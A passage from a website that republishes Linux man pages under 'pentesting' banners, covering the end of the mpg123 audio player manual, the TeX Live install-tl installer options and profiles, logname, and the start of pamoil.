Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1354 - Linux cli command install-tl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command install-tl and provides detailed information about the command install-tl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the install-tl.

NAME 🖥️ install-tl 🖥️

tl - TeX Live cross-platform installer

SYNOPSIS

install-tl [option]…

install-tl-windows.bat [option]…

DESCRIPTION

This installer creates a runnable TeX Live installation from various media, including over the network, from local hard disk, a DVD, etc. The installer works on all platforms supported by TeX Live. For information on initially downloading TeX Live, see <https://tug.org/texlive/acquire.html>.

The basic idea of TeX Live installation is for you to choose one of the top-level schemes, each of which is defined as a different set of collections and packages, where a collection is a set of packages, and a package is what contains actual files. Each package is in exactly one collection, while schemes can contain any combination of packages and collections.

Within the installer, you can choose a scheme, and further customize the set of collections to install, but not the set of the packages. To work at the package level, use tlmgr (reference just below) after the initial installation is complete.

The default is scheme-full, which installs everything, and this is highly recommended.

REFERENCES

Post-installation configuration, package updates, and more, are handled through tlmgr(1), the TeX Live Manager (<https://tug.org/texlive/tlmgr.html>).

The most up-to-date version of this installer documentation is on the Internet at <https://tug.org/texlive/doc/install-tl.html>.

For step-by-step instructions, see <https://tug.org/texlive/quickinstall.html>.

For the full documentation of TeX Live, see <https://tug.org/texlive/doc>.

EXAMPLES

With no options, install-tl drops you into an interactive menu where essentially all default settings can be changed. With options, you can initialize the settings in various ways, or perform the installation without interaction. Some examples:

“install-tl –paper=letter”
Initialize paper size setting. The only values allowed are letter and (the default) a4.

“install-tl –scheme” scheme
Initialize the installation scheme; the default is full. For a list of schemes, see the interactive S menu.

“install-tl –no-interaction”
Perform the installation immediately after parsing options, without entering the interactive menu.

“install-tl –profile” texlive.profile
Install, without interaction, according to the given TL profile file; see “PROFILES” below. To initialize from the profile and then enter the interactive menu, add --init-from-profile.

Full documentation follows.

OPTIONS

As usual, all options can be specified in any order, and with either a leading - or --. An argument value can be separated from its option by either a space or =.

The options relating to customization of the installation can also be selected in the interactive installation menus (GUI or text).

-gui [[=]module]

-no-gui

If no module is given, starts the Tcl/Tk (see below) GUI installer. If module is given loads the given installer module. Currently the following modules are supported:

“text”
The text mode user interface (default on Unix systems, including Macs). Same as the -no-gui option.

“tcl” (or “perltk” or “wizard” or “expert” or nothing)
The Tcl/Tk user interface (default on Windows). It starts with a small number of configuration options, roughly equivalent to what the former wizard option offers, but a button Advanced takes you to a screen with roughly the same options as the former perltk interface.

The default GUI requires Tcl/Tk. This was standard on Macs, but has been removed in the latest macOS releases. It’s often already installed on GNU/Linux, or can be easily installed through a distro package manager. For Windows, TeX Live provides a Tcl/Tk runtime.

-lang llcode
By default, the Tcl GUI uses the language detection built into Tcl/Tk. If that fails you can select a different language by giving this option with a language code (based on ISO 639-1). Currently supported (but not necessarily completely translated) are: English (en, default), Czech (cs), German (de), French (fr), Italian (it), Japanese (ja), Dutch (nl), Polish (pl), Brazilian Portuguese (pt_BR), Russian (ru), Slovak (sk), Slovenian (sl), Serbian (sr), Ukrainian (uk), Vietnamese (vi), simplified Chinese (zh_CN), and traditional Chinese (zh_TW).

-repository url|path
Specify the package repository to be used as the source of the installation. In short, this can be a directory name or a url using http(s), ftp, or scp. The documentation for tlmgr has the details (<https://tug.org/texlive/doc/tlmgr.html#OPTIONS>). For installation, the default is to pick a mirror automatically, using <https://mirror.ctan.org/systems/texlive/tlnet>; the chosen mirror is then used for the entire download. You can use the special argument ctan as an abbreviation for this. (See <https://ctan.org> for more about CTAN and its mirrors.) After installation is complete, you can use that installation as the repository for another installation. If you chose to install less than the full scheme containing all packages, the list of available schemes will be adjusted accordingly.

-select-repository
This option allows you to choose a particular mirror from the current list of active CTAN mirrors. This option is supported in the text and gui installer modes, and will also offer to install from local media if available, or from a repository specified on the command line. It’s useful when the (default) automatic redirection does not choose a good host for you.

-all-options
Normally options not relevant to the current platform are not shown (e.g., when running on Unix, Windows-specific options are omitted). Giving this command line option allows configuring such “foreign” settings.

-custom-bin path
If you have built your own set of TeX Live binaries (e.g., because precompiled binaries were not provided by TL for your platform), this option allows you to specify the path to a directory where the binaries for the current system are present. The installation will continue as usual, but at the end all files from path are copied over to bin/custom/ under your installation directory and this bin/custom/ directory is what will be added to the path for the post-install actions. To install multiple custom binary sets, manually rename custom before doing each. For more information on custom binaries, see <https://tug.org/texlive/custom-bin.html>. For general information on building TeX Live, see <https://tug.org/texlive/build.html>.

-debug-fakenet
Pretend we’re doing a network install. This is for the sole purpose of testing the code to handle broken downloads, via moving package files aside in a tlnet mirror hierarchy.

-debug-setup-vars
Print final values of directory variables; for more debugging information on how they were set, also specify -v.

-debug-translation
In the former Perl/Tk GUI modes, this option reported any missing, or more likely untranslated, messages to standard error. Not yet implemented for the Tcl interface. Helpful for translators to see what remains to be done.

-force-platform platform
Instead of auto-detecting the current platform, use platform. Binaries for this platform must be present in bin/platform/ and they must be runnable, or installation will fail. -force-arch is a synonym.

-help, –help, -?
Display this help and exit. (This help is also on the web at <https://tug.org/texlive/doc/install-tl.html>). Sometimes the perldoc and/or PAGER programs on the system have problems, possibly resulting in control characters being literally output. This can’t always be detected, but you can set the NOPERLDOC environment variable and perldoc will not be used.

-in-place
This is a quick-and-dirty installation option in case you already have an rsync or svn checkout of TeX Live. It will use the checkout as-is and will just do the necessary post-install. Be warned that the file tlpkg/texlive.tlpdb may be rewritten, that removal has to be done manually, and that the only realistic way to maintain this installation is to redo it from time to time. This option is not available via the installer interfaces. USE AT YOUR OWN RISK.

-init-from-profile profile_file
Similar to -profile (see “PROFILES” below), but only initializes the installation configuration from profile_file and then starts a normal interactive session. Environment variables are not ignored.

-logfile file
Write both all messages (informational, debugging, warnings) to file, in addition to standard output or standard error. If this option is not given, the installer will create a log file in the root of the writable installation tree, for example, /usr/local/texlive/YYYY/install-tl.log for the YYYY release.

-no-cls
For the text mode installer only: do not clear the screen when entering a new menu. For debugging.

-no-continue
Quit early on installation failure of a non-core package. By default, a few core packages are installed first; then, a failed installation of any other (non-core) package is noted, but does not stop the installation. Any such failed packages are retried, once. If the retry also fails, by default the installer proceeds to completion anyway, with the idea that it was a transient network problem and reinstallation will succeed later. If this option is specified, and the retry fails, the installer aborts.

-no-doc-install

-no-src-install

Do not install the documentation resp. source package files, both for the immediate installation and for future updates. After installation, inclusion of the doc/src files can be re-enabled via tlmgr: tlmgr option docfiles 1 tlmgr option srcfiles 1 If you later find that you want the doc/src files for a package that has been installed without them, you can get them like this (using the fontspec package as the example): tlmgr install –reinstall –with-doc –with-src fontspec The source files mentioned here are those relating to TeX packages, such as .dtx files. The sources that are compiled to make the binaries are available separately: see <https://tug.org/texlive/svn/>.

-no-installation
Do not perform any installation. This is for debugging the initialization and setup routines without touching the disk.

-no-interaction
Do not enter the interactive menu; immediately perform the installation after initialization and option parsing. Also omit the check for a previous installation and asking about importing previous settings.

-no-persistent-downloads

-persistent-downloads

For network installs, activating this option makes the installer try to set up a persistent connection using the LWP Perl module. This opens only one connection between your computer and the server per session and reuses it, instead of initiating a new download for each package, which typically yields a significant speed-up. This option is turned on by default, and the installation program will fall back to using wget if this is not possible. To disable usage of LWP and persistent connections, use -no-persistent-downloads.

-no-verify-downloads
By default, if a GnuPG gpg binary is found in PATH, downloads are verified against a cryptographic signature. This option disables such verification. The full description is in the Crytographic Verification section of the tlmgr documentation, e.g., <https://tug.org/texlive/doc/tlmgr.html#CRYPTOGRAPHIC-VERIFICATION>

-non-admin
For Windows only: configure for the current user, not for all users.

-paper “a4”|“letter”
Set the default paper size for all TeX Live programs, as specified. The default is a4. The paper size can be set after installation with the tlmgr paper command.

-portable
Install for portable use, e.g., on a USB stick. See the instopt_portable description below for details.

-print-platform
Print the TeX Live identifier for the detected platform (hardware/operating system) combination to standard output, and exit. -print-arch is a synonym.

-profile profile_file
Load profile_file and do the installation with no user interaction, that is, a batch (unattended) install. Environment variables are ignored. See “PROFILES” below.

-q
Omit normal informational messages.

-scheme scheme
Schemes are the highest level of package grouping in TeX Live; the default is to use the full scheme, which includes everything. This option overrides that default. The scheme argument value may optionally have a prefix scheme-. The list of supported scheme names depends on what your package repository provides; see the interactive menu list.

-texdir dir
Specify the system installation directory; the default is /usr/local/texlive/YYYY for release YYYY. Specifying this option also causes the TEXMFLOCAL, TEXMFSYSCONFIG, and TEXMFSYSVAR directories to be set as subdirectories of dir, so they don’t have to be set individually. There is a brief summary of these directories trees at “DIRECTORY TREES” below; for details on the trees set up by default, and their intended usage, see the main TeX Live documentation at <https://tug.org/texlive/doc>.

-texuserdir dir
Specify the user installation directory; the default is ~/.texliveYYYY (except on Macs, where there is no leading dot). Specifying this also causes the TEXMFHOME, TEXMFCONFIG, and TEXMFVAR directories to be set as subdirectories of dir.

-texmflocal dir
Specify the TEXMFLOCAL directory; the default is /usr/local/texlive/texmf-local, that is, one level up from the main installation. This is so locally-installed packages can be easily used across releases, which is usually desirable. Specifying the -texdir option changes this, putting TEXMFLOCAL under the main tree. The -texmflocal option can be used to specify an explicit directory. Anything installed here must follow the TeX directory structure (TDS), e.g., TEXMFHOME/tex/latex/mypkg/mypkg.sty. TDS reference: <https://tug.org/tds>.

-texmfhome dir
Specify the TEXMFHOME directory; the default is ~/texmf, except on Macs, where it is ~/Library/texmf. Analogously to TEXMFLOCAL, the -texuserdir option changes this default. Also as with TEXMFLOCAL, anything installed here must follow the TDS.

-texmfsysconfig dir

-texmfsysvar dir

Specify the TEXMFSYSCONFIG and TEXMFSYSVAR system directories.

-texmfconfig dir

-texmfvar dir

Specify the TEXMFCONFIG and TEXMFVAR user directories. The defaults are ~/.texliveYYYY/texmf-{config,var}, except on Macs, where the leading dot is omitted (~/texliveYYYY/...).

-v
Include verbose debugging messages; repeat for maximum debugging: -v -v. (Further repeats are accepted but ignored.)

-version, –version
Output version information and exit. If -v is also given, the versions of the TeX Live modules used are also reported.

PROFILES

A profile file normally contains all the values needed to perform an installation. After a normal installation has finished, a profile for that exact installation is written to the file tlpkg/texlive.profile. In addition, from the text menu one can select P to save the current setup as a profile at any time. These are small text files; feel free to peruse and edit them according to your needs.

Such a profile file can be given as the argument to -profile, for example to redo the exact same installation on a different system. Alternatively, you can use a custom profile, most easily created by starting from a generated one and changing values. An empty profile file will cause the installer to use the defaults.

As mentioned above, the installer only supports selection by scheme and collections, not individual packages, so packages cannot be specified in profile files either. Use tlmgr to work at the package level.

Within a profile file, each line consists of

variable [value]

except for comment lines starting with #. The possible variable names are listed below. Values, when present, are either 0 or 1 for booleans, or strings (which must be specified without any quote characters). Leading whitespace is ignored.

If the variable selected_scheme is defined and no collection variables at all are defined, then the collections required by the specified scheme (which might change over time) are installed, without explicitly listing them. This eases maintenance of profile files. If any collections are specified in a profile, though, then the scheme is ignored and all desired collections must be given explicitly.

For example, a line

selected_scheme scheme-small

along with definitions for the installation directories (given below under “path options”) suffices to install the “small” scheme with all default options. The schemes are described in the S menu in the text installer, or equivalent.

In addition to selected_scheme, here are the other variable names supported in a profile:

collection options (prefix collection-)

Collections are specified with a variable name with the prefix collection- followed by a collection name; there is no value. For instance, collection-basic. The collections are described in the C menu.

Schemes and collections (and packages) are ultimately defined by the files in the tlpkg/tlpsrc/ source directory.

path options

It is best to define all of these, even though they may not be used in a given installation, so as to avoid unintentionally getting a default value that could cause problems later.

TEXDIR TEXMFLOCAL TEXMFSYSCONFIG TEXMFSYSVAR TEXMFCONFIG TEXMFVAR TEXMFHOME

installer options (prefix instopt_)

“instopt_adjustpath” (default 0 on Unix, 1 on Windows)
Adjust PATH environment variable.

“instopt_adjustrepo” (default 1)
Set remote repository to a multiplexed CTAN mirror after installation; see -repository above.

“instopt_letter” (default 0)
Set letter size paper as the default, instead of a4.

“instopt_portable” (default 0)
Install for portable use, e.g., on a USB stick, without touching the host system. Specifically, this forces the user directories TEXMFHOME, TEXMFCONFIG, TEXMFVAR to be identical to the system directories TEXMFLOCAL, TEXMFSYSCONFIG, TEXMFSYSVAR, respectively (regardless of other options and environment variable.) In addition, on Windows, it disables the desktop integration, path adjustment, and file associations actions usually performed.

“instopt_write18_restricted” (default 1)
Enable \write18 for a restricted set of programs.

tlpdb options (prefix tlpdbopt_)

The definitive list is given in tlpkg/TeXLive/TLConfig.pm, in the hash %TeXLive::TLConfig::TLPDBOptions, together with explanations. All items given there except for tlpdbopt_location can be specified. Here is the current list:

tlpdbopt_autobackup tlpdbopt_backupdir tlpdbopt_create_formats tlpdbopt_desktop_integration tlpdbopt_file_assocs tlpdbopt_generate_updmap tlpdbopt_install_docfiles tlpdbopt_install_srcfiles tlpdbopt_post_code tlpdbopt_sys_bin tlpdbopt_sys_info tlpdbopt_sys_man tlpdbopt_w32_multi_user

platform options (prefix binary_)

For each supported platform in TeX Live (directories under bin/), the variable binary_PLATFORM can be set with value 1. For example:

binary_x86_64-linux 1

If no binary_ settings are made, the default is whatever the current machine is running.

In releases before 2017, many profile variables had different names (not documented here; see the install-tl source). They are accepted and transformed to the names given above. When a profile is written, the names above are always used.

For more details on all of the above options, consult the TeX Live installation manual, linked from <https://tug.org/texlive/doc>.

ENVIRONMENT VARIABLES

For ease in scripting and debugging, install-tl looks for the following environment variables. They are not of interest for normal user installations.

“NOPERLDOC”
Don’t try to run the --help message through perldoc.

“TEXLIVE_DOWNLOADER”

“TL_DOWNLOAD_PROGRAM”

“TL_DOWNLOAD_ARGS”

These override the normal choice of a download program; see the tlmgr documentation, e.g., <https://tug.org/texlive/doc/tlmgr.html#ENVIRONMENT-VARIABLES>.

“TEXLIVE_INSTALL_ENV_NOCHECK”
Omit the check for environment variables containing the string tex. People developing TeX-related software are likely to have many such variables.

“TEXLIVE_INSTALL_NO_CONTEXT_CACHE”
Omit creating the ConTeXt cache. This is useful for redistributors.

“TEXLIVE_INSTALL_NO_DISKCHECK”
If set to 1, omit free disk space check. By default, if a POSIX-compliant df program (supporting -Pk) is available, the installer checks for available disk space in the selected installation location, and will abort installation if there is insufficient disk space, plus a margin of 100MB. An equivalent check is made on Windows (not involving df).

“TEXLIVE_INSTALL_NO_RESUME”
Omit check for installing on top of a previous installation and then asking about importing previous settings.

“TEXLIVE_INSTALL_NO_WELCOME”
Omit printing the welcome message after successful installation, e.g., when testing.

“TEXLIVE_INSTALL_PAPER”
Set the default paper size for all relevant programs; must be either letter or a4. The default is a4.

“TEXLIVE_INSTALL_PREFIX”

“TEXLIVE_INSTALL_TEXMFCONFIG”

“TEXLIVE_INSTALL_TEXMFVAR”

“TEXLIVE_INSTALL_TEXMFHOME”

“TEXLIVE_INSTALL_TEXMFLOCAL”

“TEXLIVE_INSTALL_TEXMFSYSCONFIG”

“TEXLIVE_INSTALL_TEXMFSYSVAR”

Specify the respective directories. TEXLIVE_INSTALL_PREFIX defaults to /usr/local/texlive. All the defaults can be seen by running the installer interactively and then typing D for the directory menu. The various command line options for specifying directories override these environment variables; since specifying both is usually accidental, a warning is given if the values are different.

DIRECTORY TREES

There are a plethora of ways to specify the plethora of directory trees used by TeX Live. By far the simplest, and recommended, approach is not to change anything. The defaults suffice for the vast majority of installations.

But, for the sake of explanation, here is a table of the trees and the command line options that change them. The first group of three are system directories, and the second group of three are user directories; the two groups are quite analogous.

+—————-+————————————–+————–+——————+ | tree | default | group change | single change | +—————-+————————————–+————–+——————+ | TEXMFLOCAL | /usr/local/texlive/texmf-local | –texdir | –texmflocal | | TEXMFSYSVAR | /usr/local/texlive/YYYY/texmf-var | –texdir | –texmfsysvar | | TEXMFSYSCONFIG | /usr/local/texlive/YYYY/texmf-config | –texdir | –texmfsysconfig | +—————-+————————————–+————–+——————+ | TEXMFHOME | ~/texmf | –texuserdir | –texmfhome | | TEXMFVAR | ~/.texliveYYYY/texmf-var | –texuserdir | –texmfvar | | TEXMFCONFIG | ~/.texliveYYYY/texmf-config | –texuserdir | –texmfconfig | +—————-+————————————–+————–+——————+

In addition, as mentioned in the previous section, each tree has an environment variable TEXLIVE_INSTALL_tree which overrides the default; command line and profile settings both override environment variable settings.

The defaults vary slightly on Macs, as explained above in “OPTIONS”.

For the user trees, the default value uses ~, and this is left as a literal ~ in texmf.cnf. That way, each user can have their own TEXMFHOME, etc., as intended. On the other hand, for the system trees, if ~ is used during the installation, this is assumed to simply be a typing shorthand, and the expanded home directory is written in texmf.cnf, since it doesn’t make sense to have user-specific system directories.

For more on the directory trees and their intended usage, see the main TeX Live documentation at <https://tug.org/texlive/doc>.

BUGS

The install-tl script copies itself into the installed tree. Usually, it can be run from there, using the installed tree as the source for another installation. Occasionally, however, there may be incompatibilities in the code of the new install-tl and the infrastructure, resulting in (probably) inscrutable Perl errors. The way forward is to run install-tl out of the installer package (install-tl-unx.tar.gz or install-tl.zip) instead of the installation. Feel free to also report the issue; usually the code can be easily synced up again.

By the way, do not try to use install-tl to adjust options or installed packages in an existing installed tree. Use tlmgr instead.

AUTHORS AND COPYRIGHT

This script and its documentation were written for the TeX Live distribution (<https://tug.org/texlive>) and both are licensed under the GNU General Public License Version 2 or later.

$Id: install-tl 71157 2024-05-02 20:29:00Z karl $

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1355 - Linux cli command logname

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command logname and provides detailed information about the command logname, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the logname.

NAME 🖥️ logname 🖥️

print user’s login name

SYNOPSIS

logname [OPTION]

DESCRIPTION

Print the user’s login name.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by FIXME: unknown.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

getlogin(3)

Full documentation <https://www.gnu.org/software/coreutils/logname>
or available locally via: info ‘(coreutils) logname invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1356 - Linux cli command pamoil

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamoil and provides detailed information about the command pamoil, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamoil.

.

NAME 🖥️ pamoil 🖥️

turn a PAM image into an oil painting

SYNOPSIS

pamoil

[-n N]

[pamfile]

DESCRIPTION

This program is part of Netpbm(1) .

